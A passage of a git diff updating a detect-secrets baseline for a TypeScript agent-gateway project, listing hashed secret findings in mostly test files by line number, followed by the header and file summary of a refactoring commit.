"src/gateway/auth.test.ts", "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", "is_verified": false, - "line_number": 95 + "line_number": 254 }, { "type": "Secret Keyword", "filename": "src/gateway/auth.test.ts", "hashed_secret": "a4b48a81cdab1e1a5dd37907d6c85ca1c61ddc7c", "is_verified": false, - "line_number": 103 + "line_number": 262 } ], "src/gateway/call.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/gateway/call.test.ts", + "hashed_secret": "2e07956ffc9bc4fd624064c40b7495c85d5f1467", + "is_verified": false, + "line_number": 90 + }, { "type": "Secret Keyword", "filename": "src/gateway/call.test.ts", "hashed_secret": "db5543cd7440bbdc4c5aaf8aa363715c31dd5a27", "is_verified": false, - "line_number": 357 + "line_number": 607 }, { "type": "Secret Keyword", "filename": "src/gateway/call.test.ts", "hashed_secret": "de1c41e8ece73f5d5c259bb37eccb59a542b91dc", "is_verified": false, - "line_number": 361 + "line_number": 611 + }, + { + "type": "Secret Keyword", + "filename": "src/gateway/call.test.ts", + "hashed_secret": "5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8", + "is_verified": false, + "line_number": 638 + }, + { + "type": "Secret Keyword", + "filename": "src/gateway/call.test.ts", + "hashed_secret": "ee977806d7286510da8b9a7492ba58e2484c0ecc", + "is_verified": false, + "line_number": 646 }, { "type": "Secret Keyword", "filename": "src/gateway/call.test.ts", "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", "is_verified": false, - "line_number": 398 + "line_number": 683 }, { "type": "Secret Keyword", "filename": "src/gateway/call.test.ts", "hashed_secret": "e493f561d90c6638c1f51c5a8a069c3b129b79ed", "is_verified": false, - "line_number": 408 - }, - { - "type": "Secret Keyword", - "filename": "src/gateway/call.test.ts", - "hashed_secret": "2e07956ffc9bc4fd624064c40b7495c85d5f1467", - "is_verified": false, - "line_number": 413 + "line_number": 690 }, { "type": "Secret Keyword", "filename": "src/gateway/call.test.ts", "hashed_secret": "bddc29032de580fb53b3a9a0357dd409086db800", "is_verified": false, - "line_number": 426 + "line_number": 704 }, { "type": "Secret Keyword", "filename": "src/gateway/call.test.ts", - "hashed_secret": "6255675480f681df08c1704b7b3cd2c49917f0e2", + "hashed_secret": "2e7d14ce1d0b584f112cca09f638557e42a2617b", "is_verified": false, - "line_number": 463 + "line_number": 724 + }, + { + "type": "Secret Keyword", + "filename": "src/gateway/call.test.ts", + "hashed_secret": "802c9dbd2953f682a244abc0ec00ad564ac0eb7d", + "is_verified": false, + "line_number": 869 + }, + { + "type": "Secret Keyword", + "filename": "src/gateway/call.test.ts", + "hashed_secret": "1e1ff291f3b48b7e5b54828396f264ba43379076", + "is_verified": false, + "line_number": 901 } ], - "src/gateway/client.e2e.test.ts": [ + "src/gateway/client.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/gateway/client.test.ts", + "hashed_secret": "2c35baf5aa803a12df64c64b97df0445c46aeb03", + "is_verified": false, + "line_number": 126 + } + ], + "src/gateway/client.watchdog.test.ts": [ { "type": "Private Key", - "filename": "src/gateway/client.e2e.test.ts", + "filename": "src/gateway/client.watchdog.test.ts", "hashed_secret": "1348b145fa1a555461c1b790a2f66614781091e9", "is_verified": false, - "line_number": 85 + "line_number": 89 + } + ], + "src/gateway/credential-precedence.parity.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/gateway/credential-precedence.parity.test.ts", + "hashed_secret": "db5543cd7440bbdc4c5aaf8aa363715c31dd5a27", + "is_verified": false, + "line_number": 24 + }, + { + "type": "Secret Keyword", + "filename": "src/gateway/credential-precedence.parity.test.ts", + "hashed_secret": "de1c41e8ece73f5d5c259bb37eccb59a542b91dc", + "is_verified": false, + "line_number": 34 + }, + { + "type": "Secret Keyword", + "filename": "src/gateway/credential-precedence.parity.test.ts", + "hashed_secret": "052f076c732648ab32d2fcde9fe255319bfa0c7b", + "is_verified": false, + "line_number": 80 + }, + { + "type": "Secret Keyword", + "filename": "src/gateway/credential-precedence.parity.test.ts", + "hashed_secret": "1e1ff291f3b48b7e5b54828396f264ba43379076", + "is_verified": false, + "line_number": 99 + }, + { + "type": "Secret Keyword", + "filename": "src/gateway/credential-precedence.parity.test.ts", + "hashed_secret": "d51f846285cbc6d1dd76677a0fd588c8df44e506", + "is_verified": false, + "line_number": 132 + } + ], + "src/gateway/credentials.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/gateway/credentials.test.ts", + "hashed_secret": "052f076c732648ab32d2fcde9fe255319bfa0c7b", + "is_verified": false, + "line_number": 15 + }, + { + "type": "Secret Keyword", + "filename": "src/gateway/credentials.test.ts", + "hashed_secret": "1e1ff291f3b48b7e5b54828396f264ba43379076", + "is_verified": false, + "line_number": 16 + }, + { + "type": "Secret Keyword", + "filename": "src/gateway/credentials.test.ts", + "hashed_secret": "db5543cd7440bbdc4c5aaf8aa363715c31dd5a27", + "is_verified": false, + "line_number": 19 + }, + { + "type": "Secret Keyword", + "filename": "src/gateway/credentials.test.ts", + "hashed_secret": "6255675480f681df08c1704b7b3cd2c49917f0e2", + "is_verified": false, + "line_number": 60 + }, + { + "type": "Secret Keyword", + "filename": "src/gateway/credentials.test.ts", + "hashed_secret": "de1c41e8ece73f5d5c259bb37eccb59a542b91dc", + "is_verified": false, + "line_number": 240 + }, + { + "type": "Secret Keyword", + "filename": "src/gateway/credentials.test.ts", + "hashed_secret": "e951da0670d747fb42c25e584913ced2a22df456", + "is_verified": false, + "line_number": 271 + }, + { + "type": "Secret Keyword", + "filename": "src/gateway/credentials.test.ts", + "hashed_secret": "c4268595e9bc82fd8385d7f5c31cff96d677e31d", + "is_verified": false, + "line_number": 282 + }, + { + "type": "Secret Keyword", + "filename": "src/gateway/credentials.test.ts", + "hashed_secret": "bc5f9ea9a906cf0641cf9e227b6b9ae3cdc9df59", + "is_verified": false, + "line_number": 298 + }, + { + "type": "Secret Keyword", + "filename": "src/gateway/credentials.test.ts", + "hashed_secret": "d51f846285cbc6d1dd76677a0fd588c8df44e506", + "is_verified": false, + "line_number": 468 + }, + { + "type": "Secret Keyword", + "filename": "src/gateway/credentials.test.ts", + "hashed_secret": "60acdb59369429ffd0729487ec638eb0f7f12976", + "is_verified": false, + "line_number": 487 } ], "src/gateway/gateway-cli-backend.live.test.ts": [ @@ -12576,7 +13866,7 @@ "filename": "src/gateway/gateway-cli-backend.live.test.ts", "hashed_secret": "3e2fd4a90d5afbd27974730c4d6a9592fe300825", "is_verified": false, - "line_number": 38 + "line_number": 45 } ], "src/gateway/gateway-models.profiles.live.test.ts": [ @@ -12585,7 +13875,16 @@ "filename": "src/gateway/gateway-models.profiles.live.test.ts", "hashed_secret": "3e2fd4a90d5afbd27974730c4d6a9592fe300825", "is_verified": false, - "line_number": 242 + "line_number": 384 + } + ], + "src/gateway/server-methods/push.test.ts": [ + { + "type": "Private Key", + "filename": "src/gateway/server-methods/push.test.ts", + "hashed_secret": "1348b145fa1a555461c1b790a2f66614781091e9", + "is_verified": false, + "line_number": 81 } ], "src/gateway/server-methods/skills.update.normalizes-api-key.test.ts": [ @@ -12603,41 +13902,34 @@ "filename": "src/gateway/server-methods/talk.ts", "hashed_secret": "e478a5eeba4907d2f12a68761996b9de745d826d", "is_verified": false, - "line_number": 13 + "line_number": 14 } ], - "src/gateway/server.auth.e2e.test.ts": [ + "src/gateway/server.auth.control-ui.suite.ts": [ { "type": "Secret Keyword", - "filename": "src/gateway/server.auth.e2e.test.ts", + "filename": "src/gateway/server.auth.control-ui.suite.ts", "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", "is_verified": false, - "line_number": 460 - }, - { - "type": "Secret Keyword", - "filename": "src/gateway/server.auth.e2e.test.ts", - "hashed_secret": "a4b48a81cdab1e1a5dd37907d6c85ca1c61ddc7c", - "is_verified": false, - "line_number": 478 + "line_number": 239 } ], - "src/gateway/server.skills-status.e2e.test.ts": [ + "src/gateway/server.skills-status.test.ts": [ { "type": "Secret Keyword", - "filename": "src/gateway/server.skills-status.e2e.test.ts", + "filename": "src/gateway/server.skills-status.test.ts", "hashed_secret": "1cc6bff0f84efb2d3ff4fa1347f3b2bc173aaff0", "is_verified": false, - "line_number": 13 + "line_number": 14 } ], - "src/gateway/server.talk-config.e2e.test.ts": [ + "src/gateway/server.talk-config.test.ts": [ { "type": "Secret Keyword", - "filename": "src/gateway/server.talk-config.e2e.test.ts", + "filename": "src/gateway/server.talk-config.test.ts", "hashed_secret": "3c310634864babb081f0b617c14bc34823d7e369", "is_verified": false, - "line_number": 13 + "line_number": 70 } ], "src/gateway/session-utils.test.ts": [ @@ -12646,7 +13938,37 @@ "filename": "src/gateway/session-utils.test.ts", "hashed_secret": "bb9a5d9483409d2c60b28268a0efcb93324d4cda", "is_verified": false, - "line_number": 280 + "line_number": 563 + } + ], + "src/gateway/startup-auth.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/gateway/startup-auth.test.ts", + "hashed_secret": "1951c80555441588e8707fa68a6084a91c8a114a", + "is_verified": false, + "line_number": 125 + }, + { + "type": "Secret Keyword", + "filename": "src/gateway/startup-auth.test.ts", + "hashed_secret": "0b75f28abf6b39a10d1398ce5a95e93a5cebbbda", + "is_verified": false, + "line_number": 255 + }, + { + "type": "Secret Keyword", + "filename": "src/gateway/startup-auth.test.ts", + "hashed_secret": "f1355ae408e2068355dad8f3a503c2eaedefc0c6", + "is_verified": false, + "line_number": 282 + }, + { + "type": "Secret Keyword", + "filename": "src/gateway/startup-auth.test.ts", + "hashed_secret": "1a91d62f7ca67399625a4368a6ab5d4a3baa6073", + "is_verified": false, + "line_number": 448 } ], "src/gateway/test-openai-responses-model.ts": [ @@ -12673,14 +13995,14 @@ "filename": "src/infra/env.test.ts", "hashed_secret": "df98a117ddabf85991b9fe0e268214dc0e1254dc", "is_verified": false, - "line_number": 9 + "line_number": 7 }, { "type": "Secret Keyword", "filename": "src/infra/env.test.ts", "hashed_secret": "6d811dc1f59a55ca1a3d38b5042a062b9f79e8ec", "is_verified": false, - "line_number": 30 + "line_number": 14 } ], "src/infra/outbound/message-action-runner.test.ts": [ @@ -12689,14 +14011,14 @@ "filename": "src/infra/outbound/message-action-runner.test.ts", "hashed_secret": "804ec071803318791b835cffd6e509c8d32239db", "is_verified": false, - "line_number": 129 + "line_number": 180 }, { "type": "Secret Keyword", "filename": "src/infra/outbound/message-action-runner.test.ts", "hashed_secret": "789cbe0407840b1c2041cb33452ff60f19bf58cc", "is_verified": false, - "line_number": 435 + "line_number": 529 } ], "src/infra/outbound/outbound.test.ts": [ @@ -12705,7 +14027,7 @@ "filename": "src/infra/outbound/outbound.test.ts", "hashed_secret": "804ec071803318791b835cffd6e509c8d32239db", "is_verified": false, - "line_number": 631 + "line_number": 850 } ], "src/infra/provider-usage.auth.normalizes-keys.test.ts": [ @@ -12731,27 +14053,36 @@ "line_number": 125 } ], + "src/infra/push-apns.test.ts": [ + { + "type": "Private Key", + "filename": "src/infra/push-apns.test.ts", + "hashed_secret": "1348b145fa1a555461c1b790a2f66614781091e9", + "is_verified": false, + "line_number": 80 + } + ], "src/infra/shell-env.test.ts": [ { "type": "Secret Keyword", "filename": "src/infra/shell-env.test.ts", "hashed_secret": "65c10dc3549fe07424148a8a4790a3341ecbc253", "is_verified": false, - "line_number": 26 + "line_number": 133 }, { "type": "Secret Keyword", "filename": "src/infra/shell-env.test.ts", "hashed_secret": "e013ffda590d2178607c16d11b1ea42f75ceb0e7", "is_verified": false, - "line_number": 58 + "line_number": 165 }, { "type": "Base64 High Entropy String", "filename": "src/infra/shell-env.test.ts", "hashed_secret": "be6ee9a6bf9f2dad84a5a67d6c0576a5bacc391e", "is_verified": false, - "line_number": 60 + "line_number": 167 } ], "src/line/accounts.test.ts": [ @@ -12783,7 +14114,14 @@ "filename": "src/line/bot-handlers.test.ts", "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", "is_verified": false, - "line_number": 106 + "line_number": 107 + }, + { + "type": "Secret Keyword", + "filename": "src/line/bot-handlers.test.ts", + "hashed_secret": "d76baddf1b9e3d8e31216f22c73d65d2e91ada7b", + "is_verified": false, + "line_number": 358 } ], "src/line/bot-message-context.test.ts": [ @@ -12793,6 +14131,13 @@ "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", "is_verified": false, "line_number": 18 + }, + { + "type": "Hex High Entropy String", + "filename": "src/line/bot-message-context.test.ts", + "hashed_secret": "d369d8c413645b43df8ac26be7295cd15a64f9bf", + "is_verified": false, + "line_number": 179 } ], "src/line/monitor.fail-closed.test.ts": [ @@ -12804,6 +14149,15 @@ "line_number": 22 } ], + "src/line/monitor.lifecycle.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/line/monitor.lifecycle.test.ts", + "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", + "is_verified": false, + "line_number": 91 + } + ], "src/line/webhook-node.test.ts": [ { "type": "Secret Keyword", @@ -12819,7 +14173,7 @@ "filename": "src/line/webhook.test.ts", "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", "is_verified": false, - "line_number": 23 + "line_number": 21 } ], "src/logging/redact.test.ts": [ @@ -12852,13 +14206,22 @@ "line_number": 88 } ], - "src/media-understanding/apply.e2e.test.ts": [ + "src/media-understanding/apply.echo-transcript.test.ts": [ { "type": "Secret Keyword", - "filename": "src/media-understanding/apply.e2e.test.ts", + "filename": "src/media-understanding/apply.echo-transcript.test.ts", "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", "is_verified": false, - "line_number": 12 + "line_number": 15 + } + ], + "src/media-understanding/apply.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/media-understanding/apply.test.ts", + "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", + "is_verified": false, + "line_number": 17 } ], "src/media-understanding/providers/deepgram/audio.test.ts": [ @@ -12867,7 +14230,7 @@ "filename": "src/media-understanding/providers/deepgram/audio.test.ts", "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", "is_verified": false, - "line_number": 27 + "line_number": 20 } ], "src/media-understanding/providers/google/video.test.ts": [ @@ -12876,7 +14239,23 @@ "filename": "src/media-understanding/providers/google/video.test.ts", "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", "is_verified": false, - "line_number": 64 + "line_number": 56 + } + ], + "src/media-understanding/providers/mistral/index.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/media-understanding/providers/mistral/index.test.ts", + "hashed_secret": "5b29ef735a0cc9246f2024fe148fa051ddcd9c7b", + "is_verified": false, + "line_number": 23 + }, + { + "type": "Secret Keyword", + "filename": "src/media-understanding/providers/mistral/index.test.ts", + "hashed_secret": "a62f2225bf70bfaccbc7f1ef2a397836717377de", + "is_verified": false, + "line_number": 38 } ], "src/media-understanding/providers/openai/audio.test.ts": [ @@ -12885,7 +14264,7 @@ "filename": "src/media-understanding/providers/openai/audio.test.ts", "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", "is_verified": false, - "line_number": 22 + "line_number": 18 } ], "src/media-understanding/runner.auto-audio.test.ts": [ @@ -12903,7 +14282,32 @@ "filename": "src/media-understanding/runner.deepgram.test.ts", "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", "is_verified": false, - "line_number": 44 + "line_number": 31 + } + ], + "src/media-understanding/runner.video.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/media-understanding/runner.video.test.ts", + "hashed_secret": "a47110e348a3063541fb1f1f640d635d457181a0", + "is_verified": false, + "line_number": 17 + }, + { + "type": "Secret Keyword", + "filename": "src/media-understanding/runner.video.test.ts", + "hashed_secret": "2568d97e538e07521431c9ea738e5c2df14df7a2", + "is_verified": false, + "line_number": 88 + } + ], + "src/memory/embeddings-ollama.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/memory/embeddings-ollama.test.ts", + "hashed_secret": "24ff85e3f39fdc772fc759b161935393b6df7071", + "is_verified": false, + "line_number": 47 } ], "src/memory/embeddings-voyage.test.ts": [ @@ -12912,14 +14316,14 @@ "filename": "src/memory/embeddings-voyage.test.ts", "hashed_secret": "7c2020578bbe5e2e3f78d7f954eb2ad8ab5b0403", "is_verified": false, - "line_number": 33 + "line_number": 24 }, { "type": "Secret Keyword", "filename": "src/memory/embeddings-voyage.test.ts", "hashed_secret": "8afdb3da9b79c8957ae35978ea8f33fbc3bfdf60", "is_verified": false, - "line_number": 77 + "line_number": 88 } ], "src/memory/embeddings.test.ts": [ @@ -12951,7 +14355,7 @@ "filename": "src/pairing/pairing-store.ts", "hashed_secret": "f8c6f1ff98c5ee78c27d34a3ca68f35ad79847af", "is_verified": false, - "line_number": 13 + "line_number": 14 } ], "src/pairing/setup-code.test.ts": [ @@ -12960,30 +14364,207 @@ "filename": "src/pairing/setup-code.test.ts", "hashed_secret": "4914c103484773b5a8e18448b11919bb349cbff8", "is_verified": false, - "line_number": 22 + "line_number": 30 + }, + { + "type": "Secret Keyword", + "filename": "src/pairing/setup-code.test.ts", + "hashed_secret": "1951c80555441588e8707fa68a6084a91c8a114a", + "is_verified": false, + "line_number": 74 + }, + { + "type": "Secret Keyword", + "filename": "src/pairing/setup-code.test.ts", + "hashed_secret": "f1355ae408e2068355dad8f3a503c2eaedefc0c6", + "is_verified": false, + "line_number": 106 }, { "type": "Secret Keyword", "filename": "src/pairing/setup-code.test.ts", "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", "is_verified": false, - "line_number": 96 + "line_number": 370 + } + ], + "src/secrets/apply.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/secrets/apply.test.ts", + "hashed_secret": "b933c37f090368dee5ab803d71af8f5551729a9a", + "is_verified": false, + "line_number": 75 + }, + { + "type": "Base64 High Entropy String", + "filename": "src/secrets/apply.test.ts", + "hashed_secret": "b99aa0d13685d4177199dcdb170d90032408b634", + "is_verified": false, + "line_number": 106 + }, + { + "type": "Secret Keyword", + "filename": "src/secrets/apply.test.ts", + "hashed_secret": "bb0a04dd3612988998c812bc3ad580ba0fb9d905", + "is_verified": false, + "line_number": 360 + }, + { + "type": "Secret Keyword", + "filename": "src/secrets/apply.test.ts", + "hashed_secret": "942c7142a36b069509b957db07321a1cb9b2123a", + "is_verified": false, + "line_number": 397 + }, + { + "type": "Secret Keyword", + "filename": "src/secrets/apply.test.ts", + "hashed_secret": "9c0faa509a7c3079f58421307ecbcaceb7cbd545", + "is_verified": false, + "line_number": 450 + }, + { + "type": "Secret Keyword", + "filename": "src/secrets/apply.test.ts", + "hashed_secret": "c9a4d024f4386d3a4b044de8cb52226383591481", + "is_verified": false, + "line_number": 483 + } + ], + "src/secrets/command-config.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/secrets/command-config.test.ts", + "hashed_secret": "e3801068cd8f45226d71fb7ccd94069d0fbba56d", + "is_verified": false, + "line_number": 14 + } + ], + "src/secrets/configure-plan.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/secrets/configure-plan.test.ts", + "hashed_secret": "68c46e84d76d2e7e686e5158bf598909abd4e45b", + "is_verified": false, + "line_number": 15 + }, + { + "type": "Secret Keyword", + "filename": "src/secrets/configure-plan.test.ts", + "hashed_secret": "b340b5722fdf4bae59f23b1b829bad0a50b98c2a", + "is_verified": false, + "line_number": 142 + } + ], + "src/secrets/path-utils.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/secrets/path-utils.test.ts", + "hashed_secret": "c00dbbc9dadfbe1e232e93a729dd4752fade0abf", + "is_verified": false, + "line_number": 50 + }, + { + "type": "Secret Keyword", + "filename": "src/secrets/path-utils.test.ts", + "hashed_secret": "ff3390557335ba88d37755e41514beb03bc499ec", + "is_verified": false, + "line_number": 68 + } + ], + "src/secrets/runtime.coverage.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/secrets/runtime.coverage.test.ts", + "hashed_secret": "e9a292f7f4d25b0d861458719c6115de3ec813c3", + "is_verified": false, + "line_number": 30 } ], "src/security/audit.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/security/audit.test.ts", + "hashed_secret": "cf27add3cb4cb83efe9a48cf7289068fa869c4cd", + "is_verified": false, + "line_number": 1493 + }, + { + "type": "Secret Keyword", + "filename": "src/security/audit.test.ts", + "hashed_secret": "dfba7aade0868074c2861c98e2a9a92f3178a51b", + "is_verified": false, + "line_number": 1969 + }, + { + "type": "Secret Keyword", + "filename": "src/security/audit.test.ts", + "hashed_secret": "071d3673192b4b44a84aa73ac9d00c155821303b", + "is_verified": false, + "line_number": 1970 + }, + { + "type": "Secret Keyword", + "filename": "src/security/audit.test.ts", + "hashed_secret": "7b231a50a498ef151e291795f46f56bee569eae5", + "is_verified": false, + "line_number": 1982 + }, + { + "type": "Secret Keyword", + "filename": "src/security/audit.test.ts", + "hashed_secret": "5a013c49508291c6816ac388f93a2c11973086ed", + "is_verified": false, + "line_number": 2058 + }, { "type": "Secret Keyword", "filename": "src/security/audit.test.ts", "hashed_secret": "21f688ab56f76a99e5c6ed342291422f4e57e47f", "is_verified": false, - "line_number": 2063 + "line_number": 3473 }, { "type": "Secret Keyword", "filename": "src/security/audit.test.ts", "hashed_secret": "3dc927d80543dc0f643940b70d066bd4b4c4b78e", "is_verified": false, - "line_number": 2094 + "line_number": 3486 + } + ], + "src/security/external-content.test.ts": [ + { + "type": "Hex High Entropy String", + "filename": "src/security/external-content.test.ts", + "hashed_secret": "e8e6c2284ab5bee4de2ee53880c8fc2a4728d3e8", + "is_verified": false, + "line_number": 148 + } + ], + "src/signal/identity.test.ts": [ + { + "type": "Hex High Entropy String", + "filename": "src/signal/identity.test.ts", + "hashed_secret": "99c962e8c62296bdc9a17f5caf91ce9bb4c7e0e6", + "is_verified": false, + "line_number": 15 + } + ], + "src/slack/monitor/monitor.test.ts": [ + { + "type": "Hex High Entropy String", + "filename": "src/slack/monitor/monitor.test.ts", + "hashed_secret": "431ef2b335d72ec03c3a5d6393c8ab87012bba48", + "is_verified": false, + "line_number": 68 + }, + { + "type": "Hex High Entropy String", + "filename": "src/slack/monitor/monitor.test.ts", + "hashed_secret": "6c8fd4b55b7a940cf3d484634cb4f2b9e1a8fe7a", + "is_verified": false, + "line_number": 78 } ], "src/telegram/monitor.test.ts": [ @@ -12992,14 +14573,14 @@ "filename": "src/telegram/monitor.test.ts", "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", "is_verified": false, - "line_number": 205 + "line_number": 432 }, { "type": "Secret Keyword", "filename": "src/telegram/monitor.test.ts", "hashed_secret": "5934c4d4a4fa5d66ddb3d3fc0bba84996c17a5b7", "is_verified": false, - "line_number": 233 + "line_number": 479 } ], "src/telegram/webhook.test.ts": [ @@ -13008,7 +14589,7 @@ "filename": "src/telegram/webhook.test.ts", "hashed_secret": "e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4", "is_verified": false, - "line_number": 42 + "line_number": 24 } ], "src/tts/tts.test.ts": [ @@ -13024,28 +14605,28 @@ "filename": "src/tts/tts.test.ts", "hashed_secret": "b214f706bb602c1cc2adc5c6165e73622305f4bb", "is_verified": false, - "line_number": 98 + "line_number": 96 }, { "type": "Secret Keyword", "filename": "src/tts/tts.test.ts", "hashed_secret": "75ddfb45216fe09680dfe70eda4f559a910c832c", "is_verified": false, - "line_number": 397 + "line_number": 434 }, { "type": "Secret Keyword", "filename": "src/tts/tts.test.ts", "hashed_secret": "e29af93630aa18cc3457cb5b13937b7ab7c99c9b", "is_verified": false, - "line_number": 413 + "line_number": 444 }, { "type": "Secret Keyword", "filename": "src/tts/tts.test.ts", "hashed_secret": "3acfb2c2b433c0ea7ff107e33df91b18e52f960f", "is_verified": false, - "line_number": 447 + "line_number": 530 } ], "src/tui/gateway-chat.test.ts": [ @@ -13066,13 +14647,54 @@ "line_number": 60 } ], + "src/wizard/onboarding.gateway-config.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/wizard/onboarding.gateway-config.test.ts", + "hashed_secret": "358fffeb5cef5e34ae867e1d9edf2ba420ca2bf6", + "is_verified": false, + "line_number": 148 + }, + { + "type": "Secret Keyword", + "filename": "src/wizard/onboarding.gateway-config.test.ts", + "hashed_secret": "69449f994d55805535b9e8fab16f6c39934e9ba4", + "is_verified": false, + "line_number": 162 + } + ], + "src/wizard/onboarding.secret-input.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/wizard/onboarding.secret-input.test.ts", + "hashed_secret": "358fffeb5cef5e34ae867e1d9edf2ba420ca2bf6", + "is_verified": false, + "line_number": 22 + } + ], + "src/wizard/onboarding.test.ts": [ + { + "type": "Secret Keyword", + "filename": "src/wizard/onboarding.test.ts", + "hashed_secret": "9c8c592cc7a339f158262ebc87ee5a0cce39ce83", + "is_verified": false, + "line_number": 403 + }, + { + "type": "Secret Keyword", + "filename": "src/wizard/onboarding.test.ts", + "hashed_secret": "69449f994d55805535b9e8fab16f6c39934e9ba4", + "is_verified": false, + "line_number": 487 + } + ], "ui/src/i18n/locales/en.ts": [ { "type": "Secret Keyword", "filename": "ui/src/i18n/locales/en.ts", "hashed_secret": "de0ff6b974d6910aca8d6b830e1b761f076d8fe6", "is_verified": false, - "line_number": 60 + "line_number": 61 } ], "ui/src/i18n/locales/pt-BR.ts": [ @@ -13081,7 +14703,16 @@ "filename": "ui/src/i18n/locales/pt-BR.ts", "hashed_secret": "ef7b6f95faca2d7d3a5aa5a6434c89530c6dd243", "is_verified": false, - "line_number": 60 + "line_number": 61 + } + ], + "ui/src/ui/config-form.browser.test.ts": [ + { + "type": "Secret Keyword", + "filename": "ui/src/ui/config-form.browser.test.ts", + "hashed_secret": "c00dbbc9dadfbe1e232e93a729dd4752fade0abf", + "is_verified": false, + "line_number": 368 } ], "vendor/a2ui/README.md": [ @@ -13094,5 +14725,5 @@ } ] }, - "generated_at": "2026-03-07T00:11:03Z" + "generated_at": "2026-03-07T10:32:59Z" } From 3c71e2bd4866bbbb8d468d9ea5e60b63d1546a2f Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Sat, 7 Mar 2026 10:40:49 +0000 Subject: [PATCH 107/844] refactor(core): extract shared dedup helpers --- package.json | 3 + pnpm-lock.yaml | 588 ++++++++++++++++++ src/acp/server.startup.test.ts | 55 +- src/agents/bash-tools.exec-host-gateway.ts | 53 +- src/agents/bash-tools.exec-host-node.ts | 54 +- src/agents/bash-tools.exec-host-shared.ts | 106 ++++ src/agents/bash-tools.exec-runtime.ts | 31 +- src/agents/cache-trace.ts | 11 +- src/agents/compaction.test.ts | 31 +- .../compaction.tool-result-details.test.ts | 16 +- src/agents/context.lookup.test.ts | 76 +-- src/agents/path-policy.ts | 116 ++-- ...ssistant-text-blocks-but-preserves.test.ts | 149 ++--- ...ession-history.tool-result-details.test.ts | 30 +- .../tool-result-truncation.test.ts | 16 +- ...adapter.after-tool-call.fires-once.test.ts | 18 +- .../pi-tool-handler-state.test-helpers.ts | 15 + src/agents/session-slug.ts | 31 +- src/agents/skills/frontmatter.ts | 20 +- .../test-helpers/agent-message-fixtures.ts | 20 +- .../assistant-message-fixtures.ts | 18 +- src/agents/test-helpers/usage-fixtures.ts | 16 + src/agents/trace-base.ts | 21 + .../reply/get-reply.message-hooks.test.ts | 62 +- .../get-reply.reset-hooks-fallback.test.ts | 62 +- src/auto-reply/reply/get-reply.test-mocks.ts | 63 ++ src/channels/plugins/account-helpers.test.ts | 17 + src/channels/plugins/account-helpers.ts | 12 +- src/channels/plugins/config-helpers.test.ts | 110 ++++ src/channels/plugins/config-helpers.ts | 62 ++ src/cli/cron-cli/register.cron-add.ts | 18 +- src/cli/cron-cli/register.cron-simple.ts | 23 +- src/cli/cron-cli/shared.ts | 10 + src/cli/memory-cli.test.ts | 57 +- src/cli/nodes-cli/register.invoke.ts | 18 +- src/cli/qr-cli.test.ts | 171 +++-- src/config/sessions/store.ts | 49 +- src/config/validation.ts | 30 +- .../zod-schema.secret-input-validation.ts | 45 +- ...p-recipient-besteffortdeliver-true.test.ts | 86 +-- ....uses-last-non-empty-agent-text-as.test.ts | 79 +-- src/cron/session-reaper.ts | 35 +- .../monitor/message-handler.preflight.test.ts | 160 ++--- src/discord/voice/manager.e2e.test.ts | 85 +-- src/gateway/auth-config-utils.ts | 69 ++ src/gateway/call.ts | 20 +- src/gateway/credentials.test.ts | 59 +- .../gateway-models.profiles.live.test.ts | 1 + src/gateway/live-tool-probe-utils.test.ts | 62 ++ src/gateway/live-tool-probe-utils.ts | 45 ++ .../openai-http.message-channel.test.ts | 114 ++-- .../server-methods/agents-mutate.test.ts | 10 + src/gateway/server-methods/agents.ts | 13 +- src/gateway/server-methods/nodes.ts | 16 +- src/gateway/server-methods/secrets.test.ts | 71 ++- src/gateway/server.cron.test.ts | 102 ++- src/gateway/test-helpers.server.ts | 99 ++- src/hooks/frontmatter.ts | 20 +- src/hooks/internal-hooks.ts | 41 +- src/hooks/message-hook-mappers.ts | 32 +- src/imessage/target-parsing-helpers.ts | 91 +++ src/imessage/targets.ts | 56 +- src/infra/boundary-path.ts | 21 +- src/infra/exec-approvals.ts | 24 + src/infra/node-pairing.ts | 21 +- src/infra/parse-finite-number.test.ts | 19 + src/infra/parse-finite-number.ts | 12 + src/infra/provider-usage.fetch.shared.ts | 12 +- src/memory/batch-embedding-common.ts | 6 + src/memory/batch-openai.ts | 74 ++- src/memory/batch-status.test.ts | 60 ++ src/memory/batch-status.ts | 69 ++ src/memory/batch-voyage.ts | 74 ++- src/node-host/runner.credentials.test.ts | 58 +- src/node-host/runner.ts | 33 +- src/plugin-sdk/allowlist-resolution.test.ts | 40 ++ 